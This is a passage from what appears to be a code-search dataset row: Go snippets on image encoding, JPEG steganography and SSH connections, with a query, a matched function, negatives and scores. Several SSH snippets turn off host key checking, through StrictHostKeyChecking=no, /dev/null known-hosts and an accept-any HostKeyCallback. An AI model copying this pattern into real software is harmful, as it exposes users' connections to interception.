it\\\")\\n\\t}\\n\\treturn png.Encode(w, c.output)\\n}\",\n \"func ToPng(imageBytes []byte) ([]byte, error) {\\n\\tcontentType := http.DetectContentType(imageBytes)\\n\\n\\tswitch contentType {\\n\\tcase \\\"image/png\\\":\\n\\tcase \\\"image/jpeg\\\":\\n\\t\\timg, err := jpeg.Decode(bytes.NewReader(imageBytes))\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\n\\t\\tbuf := new(bytes.Buffer)\\n\\t\\tif err := png.Encode(buf, img); err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\n\\t\\treturn buf.Bytes(), nil\\n\\t}\\n\\treturn nil, fmt.Errorf(\\\"unable to convert %#v to png\\\", contentType)\\n}\",\n \"func PNG(filename string, l Level, text string) error {\\n\\treturn NewPNGWriter(l).QRFile(filename, text)\\n}\",\n \"func main() {\\n\\toutFilename := flag.String(\\\"out\\\", \\\"\\\", \\\"output file name\\\")\\n\\tquality := flag.Int(\\\"q\\\", 80, \\\"output JPEG quality\\\")\\n\\tflag.Parse()\\n\\tif len(flag.Args()) != 1 {\\n\\t\\tlog.Fatalf(\\\"expected exactly 1 input file name\\\")\\n\\t}\\n\\n\\tfilename := flag.Args()[0] // Image to convert\\n\\n\\tswitch {\\n\\tcase *quality < 0:\\n\\t\\t*quality = 0\\n\\tcase *quality > 100:\\n\\t\\t*quality = 100\\n\\t}\\n\\n\\tf, err := os.Open(filename)\\n\\tif err != nil {\\n\\t\\tlog.Panicf(\\\"open input image: %v\\\", err)\\n\\t}\\n\\tdefer f.Close()\\n\\n\\timg, err := png.Decode(f)\\n\\tif err != nil {\\n\\t\\tlog.Panicf(\\\"decode input image: %v\\\", err)\\n\\t}\\n\\n\\tif *outFilename == \\\"\\\" {\\n\\t\\t*outFilename = strings.ReplaceAll(filename, \\\"png\\\", \\\"jpg\\\")\\n\\t}\\n\\n\\toutFile, err := os.Create(*outFilename)\\n\\tif err != nil {\\n\\t\\tlog.Panicf(\\\"create file: %v\\\", err)\\n\\t}\\n\\tdefer outFile.Close()\\n\\n\\topts := &jpeg.Options{Quality: *quality}\\n\\tif err := jpeg.Encode(outFile, img, opts); err != nil {\\n\\t\\tlog.Panicf(\\\"encode: %v\\\", err)\\n\\t}\\n}\",\n \"func (bc *BC) qrEncoder(file io.Writer, txt string) error {\\n\\n\\t// Encode qr code\\n\\tqr, err := qr.Encode(txt, bc.qr.level, bc.qr.mode)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// Scale to size w x h\\n\\tqr, err = barcode.Scale(qr, bc.w, bc.h)\\n\\tif err != nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// encode as png to io.Writer\\n\\treturn png.Encode(file, qr)\\n}\",\n \"func ConvertImage(img image.Image, format string) {\\n\\tf, err := os.Create(fmt.Sprintf(\\\"rome.%s\\\", format))\\n\\tif err != nil {\\n\\t\\tlog.Panicln(\\\"Could not create file\\\")\\n\\t}\\n\\tdefer f.Close()\\n\\tswitch format {\\n\\tcase \\\"png\\\":\\n\\t\\tpng.Encode(f, img)\\n\\tcase \\\"jpg\\\":\\n\\t\\tjpeg.Encode(f, img, &jpeg.Options{Quality: *quality})\\n\\tcase \\\"webp\\\":\\n\\t\\twebp.Encode(f, img, &webp.Options{Lossless: false, Quality: float32(*quality)})\\n\\tdefault:\\n\\t\\tlog.Panicln(\\\"Format not supported\\\")\\n\\t}\\n}\",\n \"func EncodeImgToBase64(path string) (string, error) {\\n\\timgFile, err := os.Open(path)\\n\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"An error occured when opening the file: %v\\\", err)\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\tdefer imgFile.Close()\\n\\n\\t// create a new buffer base on file size\\n\\tfInfo, err := imgFile.Stat()\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"An error occured when fetching file info: %v\\\", err)\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\tvar size int64 = fInfo.Size()\\n\\tbuf := make([]byte, size)\\n\\n\\t// read file content into buffer\\n\\tfReader := bufio.NewReader(imgFile)\\n\\tfReader.Read(buf)\\n\\n\\t// convert the buffer bytes to base64 string - use buf.Bytes() for new image\\n\\timgBase64Str := base64.StdEncoding.EncodeToString(buf)\\n\\n\\treturn imgBase64Str, nil\\n}\",\n \"func (s *Scraper) recodePNG(url fmt.Stringer, b []byte) *bytes.Buffer {\\n\\tinBuf := bytes.NewBuffer(b)\\n\\timg, err := png.Decode(inBuf)\\n\\tif err != nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\toutBuf := s.encodeJPEG(img)\\n\\tif outBuf == nil || outBuf.Len() > len(b) { // only use the new file if it is smaller\\n\\t\\treturn nil\\n\\t}\\n\\n\\ts.logger.Debug(\\\"Recoded PNG\\\",\\n\\t\\tlog.Stringer(\\\"URL\\\", url),\\n\\t\\tlog.Int(\\\"size_original\\\", len(b)),\\n\\t\\tlog.Int(\\\"size_recoded\\\", outBuf.Len()))\\n\\treturn outBuf\\n}\",\n \"func SaveImage(filename string, img image.Image, qual int) {\\n\\terr := imaging.Save(img, filename, imaging.JPEGQuality(qual))\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"failed to save image: %v\\\", err)\\n\\t}\\n}\",\n \"func Hide(w io.Writer, m image.Image, data []byte, o *jpeg.Options) error {\\n\\tb := m.Bounds()\\n\\tif b.Dx() >= 1<<16 || b.Dy() >= 1<<16 {\\n\\t\\treturn errors.New(\\\"jpeg: image is too large to encode\\\")\\n\\t}\\n\\tvar e encoder\\n\\te.data = data\\n\\tif ww, ok := w.(writer); ok {\\n\\t\\te.w = ww\\n\\t} else {\\n\\t\\te.w = bufio.NewWriter(w)\\n\\t}\\n\\t// Clip quality to [1, 100].\\n\\tquality := jpeg.DefaultQuality\\n\\tif o != nil {\\n\\t\\tquality = o.Quality\\n\\t\\tif quality < 1 {\\n\\t\\t\\tquality = 1\\n\\t\\t} else if quality > 100 {\\n\\t\\t\\tquality = 100\\n\\t\\t}\\n\\t}\\n\\t// Convert from a quality rating to a scaling factor.\\n\\tvar scale int\\n\\tif quality < 50 {\\n\\t\\tscale = 5000 / quality\\n\\t} else {\\n\\t\\tscale = 200 - quality*2\\n\\t}\\n\\t// Initialize the quantization tables.\\n\\tfor i := range e.quant {\\n\\t\\tfor j := range e.quant[i] {\\n\\t\\t\\tx := int(unscaledQuant[i][j])\\n\\t\\t\\tx = (x*scale + 50) / 100\\n\\t\\t\\tif x < 1 {\\n\\t\\t\\t\\tx = 1\\n\\t\\t\\t} else if x > 255 {\\n\\t\\t\\t\\tx = 255\\n\\t\\t\\t}\\n\\t\\t\\te.quant[i][j] = uint8(x)\\n\\t\\t}\\n\\t}\\n\\t// Compute number of components based on input image type.\\n\\tnComponent := 3\\n\\tswitch m.(type) {\\n\\tcase *image.Gray:\\n\\t\\tnComponent = 1\\n\\t}\\n\\t// Write the Start Of Image marker.\\n\\te.buf[0] = 0xff\\n\\te.buf[1] = 0xd8\\n\\te.write(e.buf[:2])\\n\\t// Write the quantization tables.\\n\\te.writeDQT()\\n\\t// Write the image dimensions.\\n\\te.writeSOF0(b.Size(), nComponent)\\n\\t// Write the Huffman tables.\\n\\te.writeDHT(nComponent)\\n\\t// Write the image data.\\n\\te.writeSOS(m)\\n\\tif len(e.data) > 0 {\\n\\t\\treturn ErrTooSmall\\n\\t}\\n\\t// Write the End Of Image marker.\\n\\te.buf[0] = 0xff\\n\\te.buf[1] = 0xd9\\n\\te.write(e.buf[:2])\\n\\te.flush()\\n\\treturn e.err\\n}\",\n \"func Formatjpg(img image.Image, filepath string) (err error) {\\n\\tout, err := os.Create(filepath)\\n\\tdefer out.Close()\\n\\treturn jpeg.Encode(out, img, &jpeg.Options{Quality: 100})\\n\\n}\",\n \"func (a *ImageApiService) ImageSaveAsPNG(ctx _context.Context, imageSaveAsPngParameters ImageSaveAsPngParameters) (ImageSaveAsPngResponse, *_nethttp.Response, error) {\\n\\tvar (\\n\\t\\tlocalVarHTTPMethod = _nethttp.MethodPost\\n\\t\\tlocalVarPostBody interface{}\\n\\t\\tlocalVarFormFileName string\\n\\t\\tlocalVarFileName string\\n\\t\\tlocalVarFileBytes []byte\\n\\t\\tlocalVarReturnValue ImageSaveAsPngResponse\\n\\t)\\n\\n\\t// create path and map variables\\n\\tlocalVarPath := a.client.cfg.BasePath + \\\"/api/image/ImageSaveAsPNG\\\"\\n\\tlocalVarHeaderParams := make(map[string]string)\\n\\tlocalVarQueryParams := _neturl.Values{}\\n\\tlocalVarFormParams := _neturl.Values{}\\n\\n\\t// to determine the Content-Type header\\n\\tlocalVarHTTPContentTypes := []string{\\\"application/json-patch+json\\\", \\\"application/json\\\", \\\"text/json\\\", \\\"application/_*+json\\\"}\\n\\n\\t// set Content-Type header\\n\\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\\n\\tif localVarHTTPContentType != \\\"\\\" {\\n\\t\\tlocalVarHeaderParams[\\\"Content-Type\\\"] = localVarHTTPContentType\\n\\t}\\n\\n\\t// to determine the Accept header\\n\\tlocalVarHTTPHeaderAccepts := []string{\\\"text/plain\\\", \\\"application/json\\\", \\\"text/json\\\"}\\n\\n\\t// set Accept header\\n\\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\\n\\tif localVarHTTPHeaderAccept != \\\"\\\" {\\n\\t\\tlocalVarHeaderParams[\\\"Accept\\\"] = localVarHTTPHeaderAccept\\n\\t}\\n\\t// body params\\n\\tlocalVarPostBody = &imageSaveAsPngParameters\\n\\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\\n\\tif err != nil {\\n\\t\\treturn localVarReturnValue, nil, err\\n\\t}\\n\\n\\tlocalVarHTTPResponse, err := a.client.callAPI(r)\\n\\tif err != nil || localVarHTTPResponse == nil {\\n\\t\\treturn localVarReturnValue, localVarHTTPResponse, err\\n\\t}\\n\\n\\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\\n\\tlocalVarHTTPResponse.Body.Close()\\n\\tif err != nil {\\n\\t\\treturn localVarReturnValue, localVarHTTPResponse, err\\n\\t}\\n\\n\\tif localVarHTTPResponse.StatusCode >= 300 {\\n\\t\\tnewErr := GenericOpenAPIError{\\n\\t\\t\\tbody: localVarBody,\\n\\t\\t\\terror: localVarHTTPResponse.Status,\\n\\t\\t}\\n\\t\\tif localVarHTTPResponse.StatusCode == 200 {\\n\\t\\t\\tvar v ImageSaveAsPngResponse\\n\\t\\t\\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\\\"Content-Type\\\"))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tnewErr.error = err.Error()\\n\\t\\t\\t\\treturn localVarReturnValue, localVarHTTPResponse, newErr\\n\\t\\t\\t}\\n\\t\\t\\tnewErr.model = v\\n\\t\\t}\\n\\t\\treturn localVarReturnValue, localVarHTTPResponse, newErr\\n\\t}\\n\\n\\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\\\"Content-Type\\\"))\\n\\tif err != nil {\\n\\t\\tnewErr := GenericOpenAPIError{\\n\\t\\t\\tbody: localVarBody,\\n\\t\\t\\terror: err.Error(),\\n\\t\\t}\\n\\t\\treturn localVarReturnValue, localVarHTTPResponse, newErr\\n\\t}\\n\\n\\treturn localVarReturnValue, localVarHTTPResponse, nil\\n}\",\n \"func (img *Image) writeAsJPEG() (image.Image, error) {\\n\\tvar err error\\n\\text, err := imaging.FormatFromExtension(img.Extension)\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrapf(err, \\\"couldn't format from extension: %s\\\", img.Extension)\\n\\t}\\n\\n\\tswitch ext {\\n\\tcase imaging.JPEG:\\n\\t\\tbreak\\n\\tcase imaging.PNG:\\n\\t\\terr = jpeg.Encode(&img.buf, img.Image, &jpeg.Options{}) // TODO: Quality\\n\\t\\tbreak\\n\\tcase imaging.GIF:\\n\\t\\terr = jpeg.Encode(&img.buf, img.Image, &jpeg.Options{}) // TODO: Quality\\n\\t\\tbreak\\n\\tdefault:\\n\\t\\terr = errors.New(\\\"format is not supported yet\\\")\\n\\t\\tbreak\\n\\t}\\n\\treturn img.Image, err\\n}\",\n \"func (d *Docker) SaveImage(ids []string, path string) error {\\n\\tfile, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0666)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer file.Close()\\n\\n\\tout, err := d.ImageSave(context.TODO(), ids)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif _, err = io.Copy(file, out); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (s *StegImage) WriteNewImageToB64() (b64Img string, err error) {\\n\\tbuf := new(bytes.Buffer)\\n\\terr = png.Encode(buf, s.newImg)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\tb64Img = base64.StdEncoding.EncodeToString(buf.Bytes())\\n\\treturn b64Img, err\\n}\",\n \"func Image(fnameIn, color string, length float64) (err error) {\\n\\tcmd := []string{\\\"-i\\\", fnameIn, \\\"-o\\\", fnameIn + \\\".png\\\", \\\"--background-color\\\", \\\"ffffff00\\\", \\\"--waveform-color\\\", color, \\\"--amplitude-scale\\\", \\\"1\\\", \\\"--no-axis-labels\\\", \\\"--pixels-per-second\\\", \\\"100\\\", \\\"--height\\\", \\\"120\\\", \\\"--width\\\",\\n\\t\\tfmt.Sprintf(\\\"%2.0f\\\", length*100)}\\n\\tlogger.Debug(cmd)\\n\\tout, err := exec.Command(\\\"audiowaveform\\\", cmd...).CombinedOutput()\\n\\tif err != nil {\\n\\t\\tlogger.Errorf(\\\"audiowaveform: %s\\\", out)\\n\\t}\\n\\treturn\\n}\",\n \"func (enc *JBIG2Encoder) EncodeJBIG2Image(img *JBIG2Image) ([]byte, error) {\\n\\tconst processName = \\\"core.EncodeJBIG2Image\\\"\\n\\tif err := enc.AddPageImage(img, &enc.DefaultPageSettings); err != nil {\\n\\t\\treturn nil, errors.Wrap(err, processName, \\\"\\\")\\n\\t}\\n\\treturn enc.Encode()\\n}\",\n \"func EncodePngCompression(value int64) EncodePngAttr {\\n\\treturn func(m optionalAttr) {\\n\\t\\tm[\\\"compression\\\"] = value\\n\\t}\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.7993175","0.769733","0.76922625","0.76922625","0.7230596","0.7078572","0.7052648","0.6957424","0.6870585","0.68314445","0.6712056","0.6661231","0.66340137","0.66288275","0.66235965","0.66093","0.6603421","0.6594863","0.65524834","0.65242696","0.6481996","0.64632046","0.64525974","0.64135206","0.64080215","0.6368577","0.6205602","0.6192833","0.6186101","0.61534137","0.6123909","0.6113094","0.6104933","0.6076703","0.6017955","0.601631","0.6001626","0.6000243","0.59335226","0.5929925","0.5924686","0.5902999","0.58235615","0.58202696","0.5807706","0.57976985","0.57961744","0.5784245","0.5766823","0.5761844","0.5740909","0.5723097","0.5704805","0.5700514","0.5700435","0.56999004","0.56784904","0.56374544","0.55888426","0.5575675","0.5573076","0.5553063","0.5551042","0.55481637","0.5520546","0.55147463","0.54923207","0.54920936","0.54828143","0.5476567","0.5456926","0.5449576","0.5449393","0.5445154","0.54417","0.5424887","0.5407024","0.53772986","0.53502434","0.5336022","0.5335023","0.5324421","0.5323075","0.5306533","0.53057736","0.52886117","0.52705747","0.5210635","0.517928","0.51763123","0.5169321","0.5163723","0.5154196","0.5146664","0.51381826","0.5128061","0.51063055","0.50957334","0.50697577","0.5069448"],"string":"[\n \"0.7993175\",\n \"0.769733\",\n \"0.76922625\",\n \"0.76922625\",\n \"0.7230596\",\n \"0.7078572\",\n \"0.7052648\",\n \"0.6957424\",\n \"0.6870585\",\n \"0.68314445\",\n \"0.6712056\",\n \"0.6661231\",\n \"0.66340137\",\n \"0.66288275\",\n \"0.66235965\",\n \"0.66093\",\n \"0.6603421\",\n \"0.6594863\",\n \"0.65524834\",\n \"0.65242696\",\n \"0.6481996\",\n \"0.64632046\",\n \"0.64525974\",\n \"0.64135206\",\n \"0.64080215\",\n \"0.6368577\",\n \"0.6205602\",\n \"0.6192833\",\n \"0.6186101\",\n \"0.61534137\",\n \"0.6123909\",\n \"0.6113094\",\n \"0.6104933\",\n \"0.6076703\",\n \"0.6017955\",\n \"0.601631\",\n \"0.6001626\",\n \"0.6000243\",\n \"0.59335226\",\n \"0.5929925\",\n \"0.5924686\",\n \"0.5902999\",\n \"0.58235615\",\n \"0.58202696\",\n \"0.5807706\",\n \"0.57976985\",\n \"0.57961744\",\n \"0.5784245\",\n \"0.5766823\",\n \"0.5761844\",\n \"0.5740909\",\n \"0.5723097\",\n \"0.5704805\",\n \"0.5700514\",\n \"0.5700435\",\n \"0.56999004\",\n \"0.56784904\",\n \"0.56374544\",\n \"0.55888426\",\n \"0.5575675\",\n \"0.5573076\",\n \"0.5553063\",\n \"0.5551042\",\n \"0.55481637\",\n \"0.5520546\",\n \"0.55147463\",\n \"0.54923207\",\n \"0.54920936\",\n \"0.54828143\",\n \"0.5476567\",\n \"0.5456926\",\n \"0.5449576\",\n \"0.5449393\",\n \"0.5445154\",\n \"0.54417\",\n \"0.5424887\",\n \"0.5407024\",\n \"0.53772986\",\n \"0.53502434\",\n \"0.5336022\",\n \"0.5335023\",\n \"0.5324421\",\n \"0.5323075\",\n \"0.5306533\",\n \"0.53057736\",\n \"0.52886117\",\n \"0.52705747\",\n \"0.5210635\",\n \"0.517928\",\n \"0.51763123\",\n \"0.5169321\",\n \"0.5163723\",\n \"0.5154196\",\n \"0.5146664\",\n \"0.51381826\",\n \"0.5128061\",\n \"0.51063055\",\n \"0.50957334\",\n \"0.50697577\",\n \"0.5069448\"\n]"},"document_score":{"kind":"string","value":"0.7769111"},"document_rank":{"kind":"string","value":"1"}}},{"rowIdx":106148,"cells":{"query":{"kind":"string","value":"ConnectCommand Aliases `ssh C command`"},"document":{"kind":"string","value":"func ConnectCommand(args []string) string {\n\tif len(args) == 0 {\n\t\tlog.Fatal(\"At least one argument must be supplied to use this command\")\n\t}\n\n\tcs := strings.Join(args, \" \")\n\tpn := conf.GetConfig().Tokaido.Project.Name + \".tok\"\n\n\tr, err := utils.CommandSubSplitOutput(\"ssh\", []string{\"-q\", \"-o UserKnownHostsFile=/dev/null\", \"-o StrictHostKeyChecking=no\", pn, \"-C\", cs}...)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tutils.DebugString(r)\n\n\treturn r\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func StreamConnectCommand(args []string) {\n\tif len(args) == 0 {\n\t\tlog.Fatal(\"At least one argument must be supplied to use this command\")\n\t}\n\n\tcs := strings.Join(args, \" \")\n\tpn := conf.GetConfig().Tokaido.Project.Name + \".tok\"\n\n\tutils.StreamOSCmd(\"ssh\", []string{\"-q\", \"-o UserKnownHostsFile=/dev/null\", \"-o StrictHostKeyChecking=no\", pn, \"-C\", cs}...)\n}","func connect() cli.Command { // nolint: gocyclo\n\tcommand := cli.Command{\n\t\tName: \"connect\",\n\t\tAliases: []string{\"conn\"},\n\t\tUsage: \"Get a shell from a vm\",\n\t\tFlags: []cli.Flag{\n\t\t\tcli.StringFlag{\n\t\t\t\tName: \"user\",\n\t\t\t\tValue: \"\",\n\t\t\t\tUsage: \"ssh login user\",\n\t\t\t},\n\t\t\tcli.StringFlag{\n\t\t\t\tName: \"key\",\n\t\t\t\tValue: \"\",\n\t\t\t\tUsage: \"private key path (default: ~/.ssh/id_rsa)\",\n\t\t\t},\n\t\t},\n\t\tAction: func(c *cli.Context) error {\n\t\t\tvar name, loginUser, key string\n\t\t\tvar vmID int\n\t\t\tnameFound := false\n\t\t\tnargs := c.NArg()\n\t\t\tswitch {\n\t\t\tcase nargs == 1:\n\t\t\t\t// Parse flags\n\t\t\t\tif c.String(\"user\") != \"\" {\n\t\t\t\t\tloginUser = c.String(\"user\")\n\t\t\t\t} else {\n\t\t\t\t\tusr, _ := user.Current()\n\t\t\t\t\tloginUser = usr.Name\n\t\t\t\t}\n\n\t\t\t\tif c.String(\"key\") != \"\" {\n\t\t\t\t\tkey, _ = filepath.Abs(c.String(\"key\"))\n\t\t\t\t} else {\n\t\t\t\t\tusr, err := user.Current()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Fatal(err)\n\t\t\t\t\t}\n\n\t\t\t\t\tkey = usr.HomeDir + \"/.ssh/id_rsa\"\n\t\t\t\t}\n\t\t\t\tname = c.Args().First()\n\t\t\t\tcli, err := client.NewEnvClient()\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t\tlistArgs := filters.NewArgs()\n\t\t\t\tlistArgs.Add(\"ancestor\", VMLauncherContainerImage)\n\t\t\t\tcontainers, err := cli.ContainerList(context.Background(),\n\t\t\t\t\ttypes.ContainerListOptions{\n\t\t\t\t\t\tQuiet: false,\n\t\t\t\t\t\tSize: false,\n\t\t\t\t\t\tAll: true,\n\t\t\t\t\t\tLatest: false,\n\t\t\t\t\t\tSince: \"\",\n\t\t\t\t\t\tBefore: \"\",\n\t\t\t\t\t\tLimit: 0,\n\t\t\t\t\t\tFilters: listArgs,\n\t\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t\tfor id, container := range containers {\n\t\t\t\t\tif container.Names[0][1:] == name {\n\t\t\t\t\t\tnameFound = true\n\t\t\t\t\t\tvmID = id\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif !nameFound {\n\t\t\t\t\tfmt.Printf(\"Unable to find a running vm with name: %s\", name)\n\t\t\t\t\tos.Exit(1)\n\t\t\t\t} else {\n\t\t\t\t\tvmIP := containers[vmID].NetworkSettings.Networks[\"bridge\"].IPAddress\n\t\t\t\t\tgetNewSSHConn(loginUser, vmIP, key)\n\t\t\t\t}\n\n\t\t\tcase nargs == 0:\n\t\t\t\tfmt.Println(\"No name provided as argument.\")\n\t\t\t\tos.Exit(1)\n\n\t\t\tcase nargs > 1:\n\t\t\t\tfmt.Println(\"Only one argument is allowed\")\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t}\n\treturn command\n}","func ConnectCommandOutput(args []string) string {\n\tif len(args) == 0 {\n\t\tlog.Fatal(\"At least one argument must be supplied to use this command\")\n\t}\n\n\tcs := strings.Join(args, \" \")\n\tpn := conf.GetConfig().Tokaido.Project.Name + \".tok\"\n\n\tr := utils.CommandSubstitution(\"ssh\", []string{\"-q\", \"-o UserKnownHostsFile=/dev/null\", \"-o StrictHostKeyChecking=no\", pn, \"-C\", cs}...)\n\n\tutils.DebugString(r)\n\n\treturn r\n}","func sshconnect(n *Node) (*ssh.Session, error) {\n\tuser := n.UserName\n\thost := n.Addr\n\tport := 22\n\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\taddr string\n\t\tclientConfig *ssh.ClientConfig\n\t\tclient *ssh.Client\n\t\tsession *ssh.Session\n\t\terr error\n\t)\n\n\t// Get auth method\n\tif n.AuthMethod == \"privateKey\" {\n\t\tauth = make([]ssh.AuthMethod, 0)\n\t\tauth = append(auth, publicKeyAuthFunc(n.PrivateKey))\n\t} else if n.AuthMethod == \"password\" {\n\t\tauth = make([]ssh.AuthMethod, 0)\n\t\tauth = append(auth, ssh.Password(n.Password))\n\t}\n\n\thostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\treturn nil\n\t}\n\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auth,\n\t\tTimeout: 30 * time.Second,\n\t\tHostKeyCallback: hostKeyCallbk,\n\t}\n\n\t// connet to ssh\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// create session\n\tif session, err = client.NewSession(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn session, nil\n}","func (rhost *rhostData) cmdConnect(rec *receiveData) {\n\n\t// Parse cmd connect data\n\tpeer, addr, port, err := rhost.cmdConnectData(rec)\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// Does not process this command if peer already connected\n\tif _, ok := rhost.teo.arp.find(peer); ok {\n\t\tteolog.DebugVv(MODULE, \"peer\", peer, \"already connected, suggests address\",\n\t\t\taddr, \"port\", port)\n\t\treturn\n\t}\n\n\t// Does not create connection if connection with this address an port\n\t// already exists\n\tif _, ok := rhost.teo.arp.find(addr, int(port), 0); ok {\n\t\tteolog.DebugVv(MODULE, \"connection\", addr, int(port), 0, \"already exsists\")\n\t\treturn\n\t}\n\n\tgo func() {\n\t\trhost.teo.wg.Add(1)\n\t\tdefer rhost.teo.wg.Done()\n\t\t// Create new connection\n\t\ttcd := rhost.teo.td.ConnectChannel(addr, int(port), 0)\n\n\t\t// Replay to address received in command data\n\t\trhost.teo.sendToTcd(tcd, CmdNone, []byte{0})\n\n\t\t// Disconnect this connection if it does not added to peers arp table during timeout\n\t\t//go func(tcd *trudp.ChannelData) {\n\t\ttime.Sleep(1500 * time.Millisecond)\n\t\tif !rhost.running {\n\t\t\tteolog.DebugVv(MODULE, \"channel discovery task finished...\")\n\t\t\treturn\n\t\t}\n\t\tif _, ok := rhost.teo.arp.find(tcd); !ok {\n\t\t\tteolog.DebugVv(MODULE, \"connection\", addr, int(port), 0,\n\t\t\t\t\"with peer does not established during timeout\")\n\t\t\ttcd.Close()\n\t\t\treturn\n\t\t}\n\t}()\n}","func sshConnect(ctx context.Context, conn net.Conn, ssh ssh.ClientConfig, dialTimeout time.Duration, addr string) (net.Conn, error) {\n\tssh.Timeout = dialTimeout\n\tsconn, err := tracessh.NewClientConnWithDeadline(ctx, conn, addr, &ssh)\n\tif err != nil {\n\t\treturn nil, trace.NewAggregate(err, conn.Close())\n\t}\n\n\t// Build a net.Conn over the tunnel. Make this an exclusive connection:\n\t// close the net.Conn as well as the channel upon close.\n\tconn, _, err = sshutils.ConnectProxyTransport(sconn.Conn, &sshutils.DialReq{\n\t\tAddress: constants.RemoteAuthServer,\n\t}, true)\n\tif err != nil {\n\t\treturn nil, trace.NewAggregate(err, sconn.Close())\n\t}\n\treturn conn, nil\n}","func SshConnect(user, password, host string, port int) (*ssh.Session, error) {\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\tclientConfig *ssh.ClientConfig\n\t\tclient *ssh.Client\n\t\tsession *ssh.Session\n\t\terr error\n\t\taddr string\n\t)\n\t// get auth method\n\tauth = make([]ssh.AuthMethod, 0)\n\tauth = append(auth, ssh.Password(password))\n\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auth,\n\t\tTimeout: 30 * time.Second,\n\t}\n\n\t// connet to ssh\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// create session\n\tif session, err = client.NewSession(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn session, nil\n}","func connectChart(ctx context.Context, d *dut.DUT, hostname string) (*ssh.Conn, error) {\n\tvar sopt ssh.Options\n\tssh.ParseTarget(hostname, &sopt)\n\tsopt.KeyDir = d.KeyDir()\n\tsopt.KeyFile = d.KeyFile()\n\tsopt.ConnectTimeout = 10 * time.Second\n\treturn ssh.New(ctx, &sopt)\n}","func SSHConnect() {\n\tcommand := \"uptime\"\n\tvar usInfo userInfo\n\tvar kP keyPath\n\tkey, err := ioutil.ReadFile(kP.privetKey)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tsigner, err := ssh.ParsePrivateKey(key)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\thostKeyCallBack, err := knownhosts.New(kP.knowHost)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tconfig := &ssh.ClientConfig{\n\t\tUser: usInfo.user,\n\t\tAuth: []ssh.AuthMethod{\n\t\t\tssh.PublicKeys(signer),\n\t\t},\n\t\tHostKeyCallback: hostKeyCallBack,\n\t}\n\tclient, err := ssh.Dial(\"tcp\", usInfo.servIP+\":\"+usInfo.port, config)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer client.Close()\n\tss, err := client.NewSession()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer ss.Close()\n\tvar stdoutBuf bytes.Buffer\n\tss.Stdout = &stdoutBuf\n\tss.Run(command)\n\tfmt.Println(stdoutBuf.String())\n}","func executeCmd(remote_host string) string {\n\treadConfig(\"config\")\n\t//\tconfig, err := sshAuthKey(Conf.SshUser, Conf.SshKeyPath, Conf.Passphrase)\n\t//\tif err != nil {\n\t//\t\tlog.Fatal(err)\n\t//\t}\n\tvar config *ssh.ClientConfig\n\n\tif Conf.Method == \"password\" {\n\t\tconfig = sshAuthPassword(Conf.SshUser, Conf.SshPassword)\n\t} else if Conf.Method == \"key\" {\n\t\tconfig = sshAuthKey(Conf.SshUser, Conf.SshKeyPath, Conf.Passphrase)\n\t\t//\t\tif err != nil 